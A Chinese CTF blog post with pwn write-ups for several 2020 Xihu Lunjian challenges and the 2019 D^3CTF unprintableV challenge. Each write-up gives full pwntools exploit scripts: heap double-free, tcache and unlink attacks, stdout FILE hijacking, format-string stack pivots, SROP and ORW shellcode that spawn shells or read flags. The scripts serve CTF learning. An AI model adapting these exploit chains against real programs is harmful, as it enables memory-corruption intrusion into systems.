2020西湖论剑

字数统计: 3.8k字   |   阅读时长≈ 19分

第一次接触 mips架构，而且有一道很巧妙的格式化字符串利用链漏洞，学到新知识。

mmutag

程序分析

image-20201009082621482

delete函数里存在 double_free 漏洞。并且实 libc2.23版本。还存在一个后门函数可以输入 0x20的 content并输出。

利用分析

首先利用后门函数 泄露 cannary，然后在 栈上布置一个 fake_chunk size，随后利用 fastbin attack分配伪造堆块到栈上。然后通过栈溢出，执行ROP链先泄露 libc 地址，再修改 free_got 的值为 system，随后在一个堆块里部署上 /bin/sh\x00,即可 getshell.

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 0
if debug == 1:
    p = process('./mmutag')
    elf = ELF('./mmutag')
    libc = ELF('./libc.so.6')
else:
    p = remote('183.129.189.62',58704)
    libc = ELF('libc.so.6')
    elf = ELF('./mmutag')

gadgets = [0x45226,0x4527a,0xf0364,0xf1207]
def init():
    p.recvuntil('please input you name: \n')
    p.sendline('aaaa')
    p.recvuntil('this is your tag: ')
    data = p.recvuntil(':aaaa')[:-5]
    print len(data),data
    #addr = u64(p.recvuntil(':aaaa')[:-5])
    return int(data, 16)

def save():
    p.recvuntil('please input your choice:\n\n')
    p.sendline(str(2))

def add(idx, content):
    p.recvuntil('please input your choise:\n')
    p.sendline(str(1))
    p.recvuntil('please input your id:\n')
    p.sendline(str(idx))
    p.recvuntil('input your content\n')
    p.send(content)

def delete(idx):
    p.recvuntil('please input your choise:\n')
    p.sendline(str(2))
    p.recvuntil('please input your id:\n')
    p.sendline(str(idx))

def Edit(content):
    p.recvuntil('please input your choise:\n')
    p.sendline(str(3))
    p.send(content)

def pwn():
    name_addr = init()
    stack_addr =  name_addr - 0x40
    rbp_addr = stack_addr+0x20
    ret_addr = stack_addr + 0x28
    pop_rdi_ret = 0x400d23
    pop_rsi_r15_ret = 0x400d21

    save()
    add(1, 'a')
    add(2, 'b')
    add(3, 'c')
    #gdb.attach(p)
    payload = 'a'*0x10+'b'*9
    Edit(payload)
    p.recvuntil('b'*8)
    canary = u64(p.recv(8))
    print 'test:',hex(canary)
    can_addr = canary & 0xffffffffffffff00
    print 'canary:',canary,hex(can_addr)
    delete(1)
    delete(2)
    delete(1)
    #gdb.attach(p)
    payload = p64(0) + p64(0x71)
    Edit(payload)

    payload = p64(stack_addr)
    add(4, payload)
    add(5, '/bin/sh\x00')
    add(6, 'a')
    orw = flat([
        pop_rdi_ret, 
        0x602020, 
        0x4006b0, 
        #0x400a99,
        pop_rdi_ret,
        0,
        pop_rsi_r15_ret,
        elf.got['free'],
        0,
        elf.plt['read'],
        0x400b13
        ])
    payload = 'a'*0x8+ p64(can_addr) + p64(rbp_addr+0x40) + orw
    print len(payload)
    add(7, payload)
    #gdb.attach(p)
    p.recvuntil('please input your choise:\n')
    p.sendline(str(4))
    #gdb.attach(p)
    puts_addr = u64(p.recv(6).ljust(8, '\x00'))
    libc_base = puts_addr - libc.sym['puts']
    print 'libc_base:',hex(libc_base)
    system_addr = libc_base + libc.sym['system']
    print 'system_addr:',hex(system_addr)
    gadget = gadgets[1] + libc_base
    print 'gadget:',hex(gadget)

    p.sendline(p64(system_addr))


    #p.recvuntil('please input your id:\n')
    p.sendline(str(5))
    p.interactive()

pwn()

ezhttpd

程序分析

程序功能是伪造的一个简单的 http 流程，我们的输入里必须有Cookie token method 和参数，满足输入要求即可执行 create、delete、edit等操作。

image-20201009083300776

在 delete 函数里存在 double_free 漏洞，并且版本是 glibc 2.27 存在tcache，所以利用较简单。

利用分析

  1. 劫持 tcache_perthread_struct

首先程序一开始会给出堆地址，我们利用tcache dup 可以再分配堆块到 tcache_perthread_struct，然后通过修改 tcache_perthread_struct 结构就能实现分配任意地址的堆块。

  1. 多次修改 _IO_2_1_stdout_结构体

然后再构造一个堆块分配到 unsortedbin，使其fd 指针含有 main_arena+88 的地址，然后修改后两位，再将该对堆块地址放到 tcache_perthread_struct处，就可以分配堆块到 _IO_2_1_stdout_，因为此处分配堆块时会将堆块内容全部填满，所以我们每次只能申请0x20大小的堆块，然后多次修改 _IO_2_1_stdout_ 的 flag 和 write_ptr 值。

  1. SROP和shellcode得到flag

由于程序还存在沙箱，所以需要先将 free_hook 改为 setcontext+53 的地址，然后在堆上部署 SROP 链，实现mprotect函数修改 内存属性为可执行，再在堆上布置 shellcode 来 ORW 得到flag。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
if debug == 1:
    p = process('./ezhttp')
    elf = ELF('./ezhttp')
    libc = ELF('./libc.so.6')
else:
    p = remote('183.129.189.61', 51302)
    libc = ELF('./libc-2.27.so')

def create(content):
    p.recvuntil('======= Send Http packet to me: ========')
    payload = 'POST /create Cookie: user=admin token: \r\n\r\n'#content='
    payload += 'content='
    payload += content
    #payload += '\r\n\r\nCookie: user=admin token: \r\x00'
    p.send(payload)

def delete(idx):
    p.recvuntil('======= Send Http packet to me: ========')
    payload = 'POST /del Cookie: user=admin token: \r\n\r\n'#index='
    payload += 'index='
    payload += str(idx)
    #payload += '\r\n\r\nCookie: user=admin token: \r\x00'
    p.sendline(payload)

def edit(idx, content):
    p.recvuntil('======= Send Http packet to me: ========')
    payload = 'POST /edit Cookie: user=admin token: \r\n\r\n'
    payload += 'index='
    payload += str(idx)
    payload += '&content='
    payload += content
    #payload += '\r\n\r\nCookie: user=admin token: \r\x00'
    p.sendline(payload)

def pwn():   
    create('a'*0x100) #0
    p.recvuntil('Your gift: ')
    data = p.recvuntil('"}')[:-2]
    print 'heap_addr:',data
    heap_addr = int(data, 16) -0x260
    print 'heap_addr:',hex(heap_addr)
    create('a'*0x10) #1
    create('a'*0x100)   #2
    create('a'*0x10)    #3
    #double free
    delete(0)
    delete(0)
    create('a'*0x100)   #4
    edit(4, p64(heap_addr+0x10))

    #gdb.attach(p)
    create('a'*0x100)   #5
    #delete(1)
    #tcache_perthread_struct
    #payload = '\xff'+'\x00'*
    create('a'*0x100)   #6
    #into unsortedbin
    delete(2)
    #into tcache
    edit(6, '\x10'*0x10+'\x00'*0x30+p64(heap_addr+0x390))
    #get chunk 1
    create('\x60\xe7')  #7
    #into tcache
    edit(6, '\x10'*0x10+'\x00'*0x30+p64(heap_addr+0x390))
#    gdb.attach(p)
    edit(7, '\x60\xe7')
    # chunk 2
    create('a') #8
    #io_stdout
    create(p64(0xfbad2861)) #9
    #into tcache
    edit(7, '\x80')
    edit(6, '\x10'*0x10+'\x00'*0x30+p64(heap_addr+0x390))
    #chunk 2
    create('a') #10
    #io_stdout write_ptr
    create('\xe3')  #11
    edit(9, p64(0xfdad1800)[:4])
    edit(11, '\x00')
    libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x3ed8b0
    print 'libc_base:',hex(libc_base)
    free_hook = libc_base + libc.sym['__free_hook']
    setcontext = libc_base + libc.sym['setcontext']
    print 'free_hook:',hex(free_hook)
    print 'setcontext:',hex(setcontext)
    #gdb.attach(p)
    edit(6, '\x10'*0x10+'\x00'*0x30+p64(free_hook))
    create('a'*0x10)    #12
    edit(12, p64(setcontext+53))
    edit(6, '\xff'*0x10+'\x00'*0xa8+p64(heap_addr+0x260))

    libc.address = libc_base
    sigframe = SigreturnFrame()
    sigframe.rdi = heap_addr
    sigframe.rsi = 0x2100
    sigframe.rdx = 7
    sigframe.rsp = heap_addr+0x400
    sigframe.rip = libc.sym['mprotect']
    create('a'*0x100)   #13
    edit(13, str(sigframe))
    edit(6, '\xff'*0x10+'\x00'*0xa8+p64(heap_addr+0x400))
    create('a'*0x100)

    args = [hex(heap_addr+0x408), hex(heap_addr+0x500)]
    shellcode = asm('''
        xor edi, edi
        mov rdi, qword ptr {0[0]}
        xor rsi, rsi
        xor rdx, rdx
        mov eax, 2
        syscall
        mov rdi, rax
        mov rsi, qword ptr {0[1]}
        mov rdx, 0x30
        mov eax, 0
        syscall
        mov edi, 1
        mov rsi, qword ptr {0[1]}
        mov edx, 0x30
        mov eax, 1
        syscall
        '''.format(args))
    payload = p64(heap_addr+0x410)+'./flag\x00\x00' + shellcode
    edit(14, payload)
    delete(13)
 #   p.interactive()
#pwn()
i = 1
while True:
    try:
        print 'i:',i
        pwn()
        p.interactive()
        p.close()
    except:
        p = process('./ezhttp')
        elf = ELF('./ezhttp')
        libc = ELF('./libc.so.6')

managesystem

使用 Ghidra即能够很好的对 Arm和MIPS架构进行反编译。

程序分析

image-20201009192132115

什么保护都没开。

image-20201009201019986

在 edit 函数里，存在一个堆溢出，可以溢出 8 字节。

利用分析

  1. unlink 劫持note_list-0xc 地址

  2. 将 note_list 地址覆盖为 一个 got 表地址，然后用 show 功能泄露地址；

  3. 最后将 free 地址覆盖为 system地址，在堆里布上 /bin/sh\x00，再释放堆即可getshell。

EXP

环境还有点问题，加上还不知道如何将 pwntools 和我的 mips_qemu 虚拟机结合起来，调试脚本的时候有点麻烦。还有这脚本抄的大佬的作业。。。（xmzyshypnc NB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='arm',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug =2 
elf = ELF('./managesystem')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
libc = ELF('./lib/libc.so.0')
if debug == 1:
    p = process(["qemu-mipsel-static", "-L", "/home/a1exxx/Desktop/CTF/xihulunjian/xihulunjian/managesystem", "./managesystem"])
elif debug == 2:
    p = process(["qemu-mipsel-static", "-g", "1234", "-L", "/home/a1exxx/Desktop/CTF/2020/xihulunjian/xihulunjian/", "./managesystem"])
else:
    p = remote("127.0.0.1",12345)

def cmd(choice):
    p.sendlineafter("options >>",str(choice))

def Add(sz,info='a'):
    cmd(1)
    p.sendlineafter("Enter the user info's length:",str(sz))
    if sz != 0:
        p.sendafter("Enter user's info:",info)

def Delete(idx):
    cmd(2)
    p.sendlineafter("Enter the index of user:",str(idx))

def Edit(idx,info):
    cmd(3)
    p.sendlineafter("Enter the index of user you want edit:",str(idx))
    p.sendafter("The new user's info:",info)

def Show(idx):
    cmd(4)
    p.sendlineafter("Enter the index of user you want show: \n",str(idx))


def exp():
    #leak libc
    #raw_input()
    node_list = 0x411830
    Add(0x14)#0
    Add(0x58)#1
    Add(0x80,"sh\x00")#2

    fd = node_list - 0xc
    bk = node_list - 0x8

    Edit(0,p32(0)+p32(0x11)+p32(fd)+p32(bk)+p32(0x10)+'\x60')

    Delete(1)
    Edit(0,"/bin/sh\x00"+p32(elf.got['puts'])+p32(0x14)+p32(elf.got['free']))
    Show(0)
    p.recvuntil("info: ")
    system = u32(p.recvn(4)) + (0x767a68f0-0x76773870)
    log.success("system addr => " + hex(system))
    Edit(1,p32(system))
    Edit(2,"/bin/sh\x00")
    Delete(2)

    p.interactive()

exp()

2019 D^3CTF unprintableV

程序分析

image-20201011101201515

程序功能是一个很简单的格式化字符串漏洞，但是不同在于通过 close(1) 把 stdout 这个结构体给关掉了，也就是我们的 printf 函数虽然可以正常执行，但是不会再有输出了。

同时程序，还开启了沙箱，不能够执行 execve函数，只能够通过 orw读取 flag。

利用分析

  1. 修改 stdout@Glibc指针指向 stderr结构体

以前知道执行 IO输出函数时，函数最终会去遍历 FILE结构体，例如 printf函数肯定会最后调用 _IO_2_1_stdout_结构体，但是printf是如何找到 FILE结构体的，源码里可以看到是需要先传入一个 stdout指针，而且这个指针是全局变量，也就是我们能够在汇编中找到这个 stdout指针。如下所示：

image-20201011101843709

也就是说是这三个全局变量里会存储 各自FILE结构体的位置，类似于 GOT表。如果我们能够修改 stdout@GLIBC 指针指向 _IO_2_1_stderr_结构体，那么 printf函数根据 stdout@GLIBC 去找的 FILE结构体为 _IO_2_1_stderr_，该结构体并没有被关闭，能够正常输出，我们就能够通过该方法输出数据了。

但是如何修改？我们可以先看一下执行 printf 函数是的栈环境：

image-20201011103214739

上图中的地址，我只用 后两字节来表示，例如 rbp 地址 0x7fffffffde60 表示为 0xde60

修改 0xde60 指向的地址 0xde80 值为 0xde78

修改 0xde80指向的地址 0xde78的值为 0x6020(stdout@GLIBC地址)

修改 0xde78指向的地址 0x6020(stdout@GLIBC地址)的值后两字节为 stderr(FILE结构体位置)

那么即 可正常输出：

image-20201011103642286

  1. 栈迁移到 buf

然后为了执行我们输入的 ROP 链，我们需要将程序栈迁移到我们输入的位置 buf地址。栈迁移的原理就是修改 rbp指针指向的值，在执行完 leave指令，即 mov rsp, rbp; pop rbp，此时 rbp会指向我们修改的地址 fake_addr，然后再此执行 leave指令时，rsp就会被修改到 我们的 fake_addr，执行 ret 指令时，就会从 fake_addr+8 处开始执行，即可以执行我们的 rop 链。

image-20201011103850721

目标是修改 rbp的值最终指向 buf_addr，我们选择的修改链是：

修改 0x6820指向的地址 0x6918的值为 rbp的地址 0x67f0

修改 0x6918指向的地址 0x67f0的值为 buf_addr 的地址 0x202060

由于修改 rbp的值为 buf_addr时，我们输入有限制每次只能修改2字节，所以需要多次利用这个修改链，进行多次修改。

image-20201011104605074

  1. 构造 orw 链

随后就是在 buf中布置 orw链：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
orw = flat([
	pop_rdi_ret, flag_str_addr,
	pop_rsi_ret, 0,
	pop_rax_ret, 2,
	sys_call,	#open(flag_str_addr, 0)
	pop_rdi_ret, 1,
	pop_rsi_ret, flag_addr,
	pop_rdx_ret, 0x40,
	pop_rax_ret, 0x1,	
	sysycall,	#read(0, fd, 0x40)
	pop_rdi_ret, 1,
	pop_rsi_ret, flag_addr,
	pop_rdx_ret, 0x40,
	pop_rax_ret, 2,
	syscall		#write(1, fd, 0x40)
])

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
if debug == 1:
    p = process('./unprintableV')
    elf = ELF('./unprintableV')
    libc = ELF('./libc.so.6')
else:
    libc = ELF('./libc-2.27.so')

stderr_offset = 0x1680
def pwn():
    p.recvuntil('here is my gift: ')
    data = p.recvuntil('\n', drop=True)
    print 'heap_addr:',data
    stack_addr = int(data, 16)
    print 'heap_addr:',hex(stack_addr)
    low_fake_stack1 = (stack_addr) & 0xff
    p.recvuntil("printf test!\n")

    #gdb.attach(p, 'bp $rebase(0xa0f)')
    payload = '%{}c%6$hhn'.format(low_fake_stack1)
    p.sendline(payload)
    time.sleep(0.5)

    payload = '%{}c%10$hhn'.format(0x20)
    p.sendline(payload)
    time.sleep(0.5)

    payload = '%{}c%9$hn'.format(stderr_offset)
    p.sendline(payload)
    time.sleep(0.5)

    payload = '%15$p\n'
    p.sendline(payload)

    libc_base = int(p.recvuntil('\n', drop=True), 16) - 231 - libc.sym['__libc_start_main']
    print '!!! libc_base:',hex(libc_base)
    time.sleep(0.5)

    payload = '%14$p\n'
    code_base = int(p.recvuntil('\n', drop=True), 16) & 0xfffffffff000
    print '!!! code_base:',hex(code_base)
    time.sleep(0.5)

    pop_rdi_ret = libc_base + 0x23eea
    pop_rsi_ret = libc_base + 0x215bf
    pop_rdx_ret = libc_base + 0x1b96
    pop_rax_ret = libc_base + 0x43ae8
    flag_str_addr = code_base + 0x202060 + 8
    flag_addr = code_base + 0x202060 + 0x400

    orw = flat([
        pop_rdi_ret, flag_str_addr,
        pop_rsi_ret, 0,
        pop_rax_ret, 2,
        sys_call,   #open(flag_str_addr, 0)
        pop_rdi_ret, 1,
        pop_rsi_ret, flag_addr,
        pop_rdx_ret, 0x40,
        pop_rax_ret, 0x1,   
        sysycall,   #read(0, fd, 0x40)
        pop_rdi_ret, 1,
        pop_rsi_ret, flag_addr,
        pop_rdx_ret, 0x40,
        pop_rax_ret, 2,
        syscall     #write(1, fd, 0x40)        
    ])
    
    buf_addr = code_base + 0x202060 + 0x10
    fake_rbp = (stack_addr &0xffff) - 0x18
    payload = '%{}c%12$hn--'.format(fake_rbp)
    p.sendline(payload)
    p.recvuntil('--')

    payload = '%{}c%43$hn'.format(buf_addr&0xffff)
    p.sendline(payload)
    p.recvuntil('--')

    payload = '%{}c%12$hn'.format(fake_rbp+0x2)
    p.sendline(payload)
    p.recvuntil('--')

    payload = '%{}c%43$hn'.format((buf_addr>>16)&0xffff)
    p.sendline(payload)
    p.recvuntil('--')

    payload = '%{}c%12$hn'.format(fake_rbp+0x4)
    p.sendline(payload)
    p.recvuntil('--')

    payload = '%{}c%43$hn'.format((buf_addr>>32)&0xffff)
    p.sendline(payload)
    p.recvuntil('--')

    payload = 'd^3CTF\x00\x00' + './flag\x00\x00' +p64('a'*8) + orw
    p.sendline(payload)

    p.ineractive()

#pwn()
i = 1
while True:
    try:
        print 'i:',i
    	i += 1
        pwn()
    except:
    	p.close()
        p = process('./unprintableV')
        libc = ELF('./libc.so.6')

noleakfmt

程序分析

image-20201011141817051

这道西湖论剑的题和上面这道题类似，都是关闭了 stdout输出，但是有一个格式化字符串漏洞。

image-20201011141948939

不同点在于这个 buf并没有与 stdout@GLIBC 结构体十分靠近。这道题的难点就在于如何找到 stdout指针，并将其指向 stderr结构体。

利用分析

  1. 迁移栈帧

首先我们需要在栈上找到一个 stdout指针，这样我们就可以通过修改这个指针得后两位，去指向 stdout结构体中 fileno变量，将其改为 2 就可以将 stdout改为 stderr变量了。

image-20201011155909958

我们进入 printf函数，可以在其中发现 stdout地址。但是这个地址，在我们当前的 printf 的 低地址处， printf 不能从高往低修改。我们需要先将我们的函数栈迁移到低地址。方法是 将 printf函数的返回地址修改为 start函数地址，这样函数栈帧就会向低地址生长，当我们再次进入 main函数时，栈地址就已经比之前得 stdout地址高了。

image-20201011152657874

1
2
3
4
5
6
7
8
9
fake_rbp_offset = 0x17b0
payload = '%{}c%11$hn'.format(low_addr-0xc)
p.sendline(payload)
time.sleep(0.5)
# raw_input()

payload = '%{}c%37$hn'.format(fake_rbp_offset)
p.sendline(payload) 
time.sleep(0.5)
  1. 覆盖 stdout的 fileno变量

随后，我们只需要覆盖 上图中 _IO_2_1_stdout结构体的地址为 _IO_2_1_stdout中 fileno变量的地址，并将其覆盖为 0x2，即可实现将 _IO_2_1_stdout 重定向到 _IO_2_1_stderr

image-20201011170201851

  1. 覆盖 malloc_hook 为 gadget 地址

运用上面的方法，将malloc_hook 为 gadget 。随后因为 printf函数输出极大时，会重新调用 malloc增大缓冲区，即可 getshell。

image-20201011170313540

EXP

然后，脸比较黑，爆破了很久都没有成功，有点难受。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
if debug == 1:
    p = process('./noleakfmt')
    elf = ELF('./noleakfmt')
    libc = ELF('./libc.so.6')
else:
    libc = ELF('./libc-2.23.so')

stdout_fileno = 0x90
gadgets = [0x45226,0x4527a,0xf0364,0xf1207]
def pwn():
    p.recvuntil('gift : ')
    stack_addr = int(p.recvuntil('\n', drop=True), 16)
    print 'stack_addr:',hex(stack_addr)
    low_addr = stack_addr & 0xffff
    print 'stack_addr:',hex(low_addr)
    if low_addr > 0x2000 or low_addr < 0x66c:
            raise EOFError
    print 'low_addr:',hex(low_addr)        
    #gdb.attach(p, 'bp $rebase(0x971)')
    fake_rbp_offset = 0x17b0
    payload = '%{}c%11$hn'.format(low_addr-0xc)
    p.sendline(payload)
    time.sleep(0.5)
    # raw_input()

    payload = '%{}c%37$hn'.format(fake_rbp_offset)
    p.sendline(payload) 
    time.sleep(0.5)
    # raw_input()

    #change stdout
    payload = '%{}c%10$hn'.format(low_addr-0x54)
    p.sendline(payload)
    time.sleep(0.5)

    payload = '%{}c%36$hhn'.format(stdout_fileno)
    p.sendline(payload)
    time.sleep(0.5)

    payload = '%{}c%26$hhn'.format(0x2)
    p.sendline(payload)
    time.sleep(0.5)

    #raw_input()
    payload = '%9$p--\n'
    p.sendline(payload)
    libc_base = int(p.recvuntil('--', drop=True)[2:], 16) - 240 - libc.sym['__libc_start_main']
    print 'libc_base:',hex(libc_base)
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    print 'malloc_hook:',hex(malloc_hook)
    system_addr = libc_base + libc.sym['system']
    print 'system_addr:',hex(system_addr)
    gadget = gadgets[1] + libc_base

    #gdb.attach(p)
    #raw_input()
    payload = '%8$p--\n'
    p.sendline(payload)
    code_base = int(p.recvuntil('--', drop=True)[2:], 16) & 0xfffffffff000
    print 'code_base:',hex(code_base)

    malloc_off1 = malloc_hook & 0xffff

    payload = '%{}c%36$hn--'.format(malloc_off1)
    p.sendline(payload)
    p.recvuntil('--')

    system_off1 = gadget & 0xffff
    payload = '%{}c%26$hn--'.format(system_off1)
    p.sendline(payload)
    p.recvuntil('--')

    payload = '%{}c%36$hn--'.format(malloc_off1+0x2)
    p.sendline(payload)
    p.recvuntil('--')

    system_off2 = (gadget>>16) & 0xffff
    payload = '%{}c%26$hn--'.format(system_off2)
    p.sendline(payload)
    p.recvuntil('--')

    payload = '%{}c%36$hn--'.format(malloc_off1+0x4)
    p.sendline(payload)
    p.recvuntil('--')

    system_off3 = (gadget>>32) & 0xffff
    payload = '%{}c%26$hn--'.format(system_off3)
    p.sendline(payload)
    p.recvuntil('--')

    p.sendline('%99999c%10$n')
    p.sendline("cat flag 1>&2")
    
    p.interactive()

i = 0 
while True:
    try:
        print 'i:',i
        i += 1
        pwn()
    except:
        p.close()
        p = process('./noleakfmt')
        libc = ELF('./libc.so.6')
#pwn()

参考

2019 D^3CTF unprintableV详细题解

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing